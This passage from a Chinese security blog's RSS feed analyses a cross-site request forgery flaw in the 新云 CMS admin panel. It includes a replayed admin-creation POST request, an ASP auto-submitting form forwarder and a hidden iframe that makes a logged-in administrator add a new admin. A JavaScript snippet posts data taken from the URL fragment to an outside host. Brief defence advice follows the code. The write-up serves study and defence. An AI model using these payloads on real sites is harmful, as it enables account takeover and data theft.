Rs<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;isAloneLogin&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">=</span> NewAsp.<span style="color: #9900cc;">ChkNumeric</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">Request</span>.<span style="color: #330066;">Form</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;isAloneLogin&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
Rs.<span style="color: #9900cc;">update</span>
Rs.<span style="color: #330066;">close</span><span style="color: #006600; font-weight: bold;">:</span><span style="color: #990099; font-weight: bold;">set</span> Rs<span style="color: #006600; font-weight: bold;">=</span><span style="color: #0000ff; font-weight: bold;">Nothing</span>
Succeed <span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;用户ID:&quot;</span> <span style="color: #006600; font-weight: bold;">&amp;</span>amp<span style="color: #006600; font-weight: bold;">;</span> adminuserid <span style="color: #006600; font-weight: bold;">&amp;</span>amp<span style="color: #006600; font-weight: bold;">;</span> <span style="color: #cc0000;">&quot; 添加成功，请到管理员管理给予相应的权限，如需修改请返回管理员管理！&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">End</span> <span style="color: #0000ff; font-weight: bold;">Sub</span></pre></td></tr></table></div>

<p>对添加管理员操作进行抓包分析，如图:</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/2.jpg" rel="lightbox"><img class="aligncenter" title="1" src="http://www.nuanyue.com/wp-content/uploads/2010/01/3.jpg" alt="" width="517" height="297" /></a></p>
<p>只是向/admin/users/admin_master.asp?action=savenew 页面POST一行数据“<br />
username2=fan&amp;password2=fan&amp;AdminGrade=999&amp;isAloneLogin=1&amp;isLock=0&amp;submit_button=%CC%E1+%BD%BB“，这就是添加网站管理员的一个数据操作。我们来模拟提交一下，在Firefox浏览器安装插件Hackbar，如图：</p>
<p style="text-align: center;">
<a href="http://www.nuanyue.com/wp-content/uploads/2010/01/3.jpg" rel="lightbox"><img class="aligncenter" title="3" src="http://www.nuanyue.com/wp-content/uploads/2010/01/3.jpg" alt="" width="560" height="338" /></a></p>
<p>点选”Enble Post data”空框按钮，填写Post的地址和数据，来添加一个用户名和密码均为nuanyue，如图：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/4.jpg" rel="lightbox"><img class="aligncenter" title="4" src="http://www.nuanyue.com/wp-content/uploads/2010/01/4.jpg" alt="" width="560" height="379" /></a></p>
<p>由于xsrf攻击需要劫持网站的授权，所以之前是需要登录后台的，点击“Execute”进行提交，如图：<br />
<a href="http://www.nuanyue.com/wp-content/uploads/2010/01/5.jpg"></a></p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/5.jpg" rel="lightbox"><img class="aligncenter" title="5" src="http://www.nuanyue.com/wp-content/uploads/2010/01/5.jpg" alt="" width="560" height="379" /></a></p>
<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/5.jpg"></a><br />
提示添加用户nuanyue成功，刚模拟了数据提交的过程，只要劫持了cookie就能直接添加管理员了。通过模拟提交数据，可以肯定新云网站管理系统存在XSRF漏洞。<br />
在分析了数据提交的过程，需要构造一个在后台自动提交的文件，lake2在其csrf攻击与防御的文章中，提供了一个Asp提交的代码：</p>

<div class="wp_codebox"><table><tr id="p11593"><td class="code" id="p1159code3"><pre class="asp" style="font-family:monospace;">Post.<span style="color: #9900cc;">asp</span>
<span style="color: #006600; font-weight: bold;">&lt;!</span>--r <span style="color: #006600; font-weight: bold;">/&gt;</span> <span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #330066;">write</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;&lt;title&gt;XSS post forwarder&lt;/title&gt;&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
lake2 <span style="color: #006600; font-weight: bold;">=</span> antiXSS<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">request</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;lake2&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">if</span> lake2<span style="color: #006600; font-weight: bold;">&lt;&gt;</span><span style="color: #cc0000;">&quot;&quot;</span> <span style="color: #990099; font-weight: bold;">then</span>
<span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #330066;">write</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;
&lt;form method='post' action='&quot;</span> <span style="color: #006600; font-weight: bold;">&amp;</span> lake2 <span style="color: #006600; font-weight: bold;">&amp;</span> <span style="color: #cc0000;">&quot;'&gt;&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">for</span> <span style="color: #990099; font-weight: bold;">each</span> b <span style="color: #990099; font-weight: bold;">in</span> <span style="color: #990099; font-weight: bold;">request</span>.<span style="color: #330066;">QueryString</span>
<span style="color: #990099; font-weight: bold;">if</span> b <span style="color: #006600; font-weight: bold;">&lt;&gt;</span> <span style="color: #cc0000;">&quot;lake2&quot;</span> <span style="color: #990099; font-weight: bold;">then</span> <span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #330066;">write</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;&lt;input type='hidden' value='&quot;</span> <span style="color: #006600; font-weight: bold;">&amp;</span> antiXSS<span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #990099; font-weight: bold;">request</span><span style="color: #006600; font-weight:bold;">&#40;</span>b<span style="color: #006600; font-weight:bold;">&#41;</span><span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">&amp;</span> <span style="color: #cc0000;">&quot;' name='&quot;</span> <span style="color: #006600; font-weight: bold;">&amp;</span> antiXSS<span style="color: #006600; font-weight:bold;">&#40;</span>b<span style="color: #006600; font-weight:bold;">&#41;</span> <span style="color: #006600; font-weight: bold;">&amp;</span> <span style="color: #cc0000;">&quot;' /&gt;&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">next</span>
<span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #330066;">write</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;&lt;/form&gt;
&nbsp;
&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #330066;">write</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;&lt;mce :script type=&quot;</span>text<span style="color: #006600; font-weight: bold;">/</span>javascript<span style="color: #cc0000;">&quot;&gt;&lt; !  document.forms[0].submit(); //  &gt;&lt;/mce&gt;&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">else</span>
<span style="color: #990099; font-weight: bold;">response</span>.<span style="color: #330066;">Write</span><span style="color: #006600; font-weight:bold;">&#40;</span><span style="color: #cc0000;">&quot;enjoy hacking :p&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
<span style="color: #990099; font-weight: bold;">end</span> <span style="color: #990099; font-weight: bold;">if</span>
&nbsp;
<span style="color: #008000;">' -_-!!</span>
<span style="color: #0000ff; font-weight: bold;">function</span> antiXSS<span style="color: #006600; font-weight:bold;">&#40;</span>str<span style="color: #006600; font-weight:bold;">&#41;</span>
str <span style="color: #006600; font-weight: bold;">=</span> <span style="color: #330066;">replace</span><span style="color: #006600; font-weight:bold;">&#40;</span>str, <span style="color: #cc0000;">&quot;'&quot;</span>, <span style="color: #cc0000;">&quot;&quot;</span><span style="color: #006600; font-weight:bold;">&#41;</span>
antiXSS <span style="color: #006600; font-weight: bold;">=</span> str
<span style="color: #990099; font-weight: bold;">end</span> <span style="color: #0000ff; font-weight: bold;">function</span>
--<span style="color: #006600; font-weight: bold;">&gt;</span></pre></td></tr></table></div>

<p>在调用时用到iframe框架调用代码2.html如下：</p>

<div class="wp_codebox"><table><tr id="p11594"><td class="code" id="p1159code4"><pre class="html" style="font-family:monospace;">&lt;iframe width=0 height=0 src=&quot;http://192.168.1.107/post.asp?lake2=http://192.168.1.109/admin/users/admin_master.asp?action=savenew&amp;username2=fan&amp;password2=fan&amp;AdminGrade=999&amp;isAloneLogin=1&amp;isLock=0&amp;submit_button=%CC%E1+%BD%BB&quot;&gt;&lt;/iframe&gt;</pre></td></tr></table></div>

<p>在构造好用于数据提交的文件后，剩下就是诱使网站管理员来访问网页了。当然如果有xss漏洞，则可以用Javascript直接调用。如图：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/6.jpg" rel="lightbox"><img class="aligncenter" title="6" src="http://www.nuanyue.com/wp-content/uploads/2010/01/6.jpg" alt="" width="540" height="326" /></a></p>
<p>当网站管理员点击时，我们对此抓包分析看跟在网站管理后台提交的数据包是否一样：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/7.jpg" rel="lightbox"><img class="aligncenter" title="7" src="http://www.nuanyue.com/wp-content/uploads/2010/01/7.jpg" alt="" width="540" height="326" /></a></p>
<p><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/7.jpg"></a><br />
与模拟提交的过程一样，成功添加网站管理员：</p>
<p style="text-align: center;"><a href="http://www.nuanyue.com/wp-content/uploads/2010/01/8.jpg" rel="lightbox"><img class="aligncenter" title="8" src="http://www.nuanyue.com/wp-content/uploads/2010/01/8.jpg" alt="" width="540" height="326" /></a></p>
<p>看来XSRF攻击还是挺简单的。只是看你如何利用了。从攻击过程来看，攻击者劫持登录到网站的受信任者的cookie而构造了一个后台提交Post数据的网页，当受信任者访问了此构造的网页就会在后台隐藏提交添加管理员的数据包，从而利用了受信cookie值进行操作。在防范此类攻击时，一般的解决方案是页面使用验证码，这是最直接和简单的，在验证码算法没有被攻破前，是最有效的。当然还有一些不太完善的方法，比如检查HTTP请求来路，检查COOKIE凭据，隐藏表单等。在检测访问来路的方案中，获得HTTP请求中的来路信息，攻击者是可以伪造HTTP Referer进行欺骗，在检查COOKIE凭据时，攻击者可以通过XSS轻易获取其值，而隐藏表单则只需要分析提交的数据，即可模拟提交，当然上述方法如果结合别的技术也是可行的<br />
分享以前写的Post数据JS版:</p>

<div class="wp_codebox"><table><tr id="p11595"><td class="code" id="p1159code5"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script language<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;javascript&quot;</span><span style="color: #339933;">&gt;</span> 
<span style="color: #003366; font-weight: bold;">var</span> bXmlHttpSupport <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> XMLHttpRequest <span style="color: #339933;">==</span> <span style="color: #3366CC;">&quot;object&quot;</span> <span style="color: #339933;">||</span> window.<span style="color: #660066;">ActiveXObject</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> httpPost<span style="color: #009900;">&#40;</span>sURL<span style="color: #339933;">,</span> sParams<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> oURL <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> java.<span style="color: #660066;">net</span>.<span style="color: #660066;">URL</span><span style="color: #009900;">&#40;</span>sURL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #003366; font-weight: bold;">var</span> oConnection <span style="color: #339933;">=</span> oURL.<span style="color: #660066;">openConnection</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    oConnection.<span style="color: #660066;">setDoInput</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    oConnection.<span style="color: #660066;">setDoOutput</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    oConnection.<span style="color: #660066;">setUseCaches</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                
    oConnection.<span style="color: #660066;">setRequestProperty</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Content-Type&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;application/x-www-form-urlencoded&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> oOutput <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> java.<span style="color: #660066;">io</span>.<span style="color: #660066;">DataOutputStream</span><span style="color: #009900;">&#40;</span>oConnection.<span style="color: #660066;">getOutputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    oOutput.<span style="color: #660066;">writeBytes</span><span style="color: #009900;">&#40;</span>sParams<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    oOutput.<span style="color: #660066;">flush</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    oOutput.<span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> sLine <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">,</span> sResponseText <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">var</span> oInput <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> java.<span style="color: #660066;">io</span>.<span style="color: #660066;">DataInputStream</span><span style="color: #009900;">&#40;</span>oConnection.<span style="color: #660066;">getInputStream</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                                
    sLine <span style="color: #339933;">=</span> oInput.<span style="color: #660066;">readLine</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span>sLine <span style="color: #339933;">!=</span> <span style="color: #003366; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>                                
        sResponseText <span style="color: #339933;">+=</span> sLine <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        sLine <span style="color: #339933;">=</span> oInput.<span style="color: #660066;">readLine</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    oInput.<span style="color: #000066;">close</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                                  
&nbsp;
    <span style="color: #000066; font-weight: bold;">return</span> sResponseText<span style="color: #339933;">;</span>                         
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> addPostParam<span style="color: #009900;">&#40;</span>sParams<span style="color: #339933;">,</span> sParamName<span style="color: #339933;">,</span> sParamValue<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>sParams.<span style="color: #660066;">length</span> <span style="color: #339933;">&gt;</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        sParams <span style="color: #339933;">+=</span> <span style="color: #3366CC;">&quot;&amp;&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #000066; font-weight: bold;">return</span> sParams <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>sParamName<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;=&quot;</span> 
                   <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>sParamValue<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">function</span> addURLParam<span style="color: #009900;">&#40;</span>sURL<span style="color: #339933;">,</span> sParamName<span style="color: #339933;">,</span> sParamValue<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    sURL <span style="color: #339933;">+=</span> <span style="color: #009900;">&#40;</span>sURL.<span style="color: #660066;">indexOf</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;?&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #CC0000;">1</span> <span style="color: #339933;">?</span> <span style="color: #3366CC;">&quot;?&quot;</span> <span style="color: #339933;">:</span> <span style="color: #3366CC;">&quot;&amp;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    sURL <span style="color: #339933;">+=</span> encodeURIComponent<span style="color: #009900;">&#40;</span>sParamName<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot;=&quot;</span> <span style="color: #339933;">+</span> encodeURIComponent<span style="color: #009900;">&#40;</span>sParamValue<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000066; font-weight: bold;">return</span> sURL<span style="color: #339933;">;</span>   
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">typeof</span> XMLHttpRequest <span style="color: #339933;">==</span> <span style="color: #3366CC;">&quot;undefined&quot;</span> <span style="color: #339933;">&amp;&amp;</span> window.<span style="color: #660066;">ActiveXObject</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #003366; font-weight: bold;">function</span> XMLHttpRequest<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
        <span style="color: #003366; font-weight: bold;">var</span> arrSignatures <span style="color: #339933;">=</span> <span style="color: #009900;">&#91;</span><span style="color: #3366CC;">&quot;MSXML2.XMLHTTP.5.0&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;MSXML2.XMLHTTP.4.0&quot;</span><span style="color: #339933;">,</span>
                             <span style="color: #3366CC;">&quot;MSXML2.XMLHTTP.3.0&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;MSXML2.XMLHTTP&quot;</span><span style="color: #339933;">,</span>
                             <span style="color: #3366CC;">&quot;Microsoft.XMLHTTP&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i<span style="color: #339933;">=</span><span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> arrSignatures.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">try</span> <span style="color: #009900;">&#123;</span>
&nbsp;
                <span style="color: #003366; font-weight: bold;">var</span> oRequest <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> ActiveXObject<span style="color: #009900;">&#40;</span>arrSignatures<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #000066; font-weight: bold;">return</span> oRequest<span style="color: #339933;">;</span>
&nbsp;
            <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">catch</span> <span style="color: #009900;">&#40;</span>oError<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #006600; font-style: italic;">//ignore</span>
            <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>          
&nbsp;
        <span style="color: #000066; font-weight: bold;">throw</span> <span style="color: #003366; font-weight: bold;">new</span> Error<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;MSXML is not installed on your system.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>               
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> Http <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Object<span style="color: #339933;">;</span>
&nbsp;
&nbsp;
&nbsp;
Http.<span style="color: #660066;">post</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>sURL<span style="color: #339933;">,</span> sParams<span style="color: #339933;">,</span> fnCallback<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
    <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>bXmlHttpSupport<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
        <span style="color: #003366; font-weight: bold;">var</span> oRequest <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> XMLHttpRequest<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        oRequest.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;post&quot;</span><span style="color: #339933;">,</span> sURL<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        oRequest.<span style="color: #660066;">setRequestHeader</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Content-Type&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;application/x-www-form-urlencoded&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        oRequest.<span style="color: #660066;">onreadystatechange</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>oRequest.<span style="color: #660066;">readyState</span> <span style="color: #339933;">==</span> <span style="color: #CC0000;">4</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                fnCallback<span style="color: #009900;">&#40;</span>oRequest.<span style="color: #660066;">responseText</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span>
        <span style="color: #009900;">&#125;</span>
        oRequest.<span style="color: #660066;">send</span><span style="color: #009900;">&#40;</span>sParams<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    
&nbsp;
    <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>navigator.<span style="color: #660066;">javaEnabled</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000066; font-weight: bold;">typeof</span> java <span style="color: #339933;">!=</span> <span style="color: #3366CC;">&quot;undefined&quot;</span> 
            <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000066; font-weight: bold;">typeof</span> java.<span style="color: #660066;">net</span> <span style="color: #339933;">!=</span> <span style="color: #3366CC;">&quot;undefined&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
        setTimeout<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            fnCallback<span style="color: #009900;">&#40;</span>httpPost<span style="color: #009900;">&#40;</span>sURL<span style="color: #339933;">,</span> sParams<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Your browser doesn't support HTTP requests.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>          
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>  
&nbsp;
  <span style="color: #003366; font-weight: bold;">function</span> getServerInfo<span style="color: #009900;">&#40;</span>data<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                    <span style="color: #003366; font-weight: bold;">var</span> sURL <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;http://www.nuanyuecom/te.php&quot;</span><span style="color: #339933;">;</span>
                    <span style="color: #003366; font-weight: bold;">var</span> sParams <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;&quot;</span><span style="color: #339933;">;</span>
                    sParams <span style="color: #339933;">=</span> addPostParam<span style="color: #009900;">&#40;</span>sParams<span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;name&quot;</span><span style="color: #339933;">,</span> data<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    sParams <span style="color: #339933;">=</span> addPostParam<span style="color: #009900;">&#40;</span>sParams<span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;book&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;Professional JavaScript&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                    Http.<span style="color: #660066;">post</span><span style="color: #009900;">&#40;</span>sURL<span style="color: #339933;">,</span> sParams<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span> <span style="color: #009900;">&#40;</span>sData<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Data from server: &quot;</span> <span style="color: #339933;">+</span> sData<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                    <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #009900;">&#125;</span>
&nbsp;
&nbsp;
 <span style="color: #003366; font-weight: bold;">var</span> h <span style="color: #339933;">=</span> location.<span style="color: #660066;">hash</span><span style="color: #339933;">;</span> 
<span style="color: #003366; font-weight: bold;">var</span> a <span style="color: #339933;">=</span> h.<span style="color: #660066;">split</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
<span style="color: #003366; font-weight: bold;">var</span> b <span style="color: #339933;">=</span> unescape<span style="color: #009900;">&#40;</span>a<span style="color: #009900;">&#91;</span> a.<span style="color: #660066;">length</span><span style="color: #339933;">-</span><span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
getServerInfo<span style="color: #009900;">&#40;</span>b<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p></script></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%a8%e7%ab%99%e8%af%b7%e6%b1%82%e4%bc%aa%e9%80%a0.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>图片引发验证的社工利用</title>
		<link>http://www.nuanyue.com/%e5%9b%be%e7%89%87%e5%bc%95%e5%8f%91%e9%aa%8c%e8%af%81%e7%9a%84%e7%a4%be%e5%b7%a5%e5%88%a9%e7%94%a8.html</link>
		<comments>http://www.nuanyue.com/%e5%9b%be%e7%89%87%e5%bc%95%e5%8f%91%e9%aa%8c%e8%af%81%e7%9a%84%e7%a4%be%e5%b7%a5%e5%88%a9%e7%94%a8.html#comments</comments>
		<pubDate>Sun, 29 Nov 2009 06:52:53 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[csrf漏洞]]></category>
		<category><![CDATA[安全审计]]></category>
		<category><![CDATA[跨站漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1029</guid>
		<description><![CDATA[<span style="color: #ff0000;">文/<a href="http://www.nuanyue.com/浅谈图片引发验证的社工利用.html">饭</a></span>

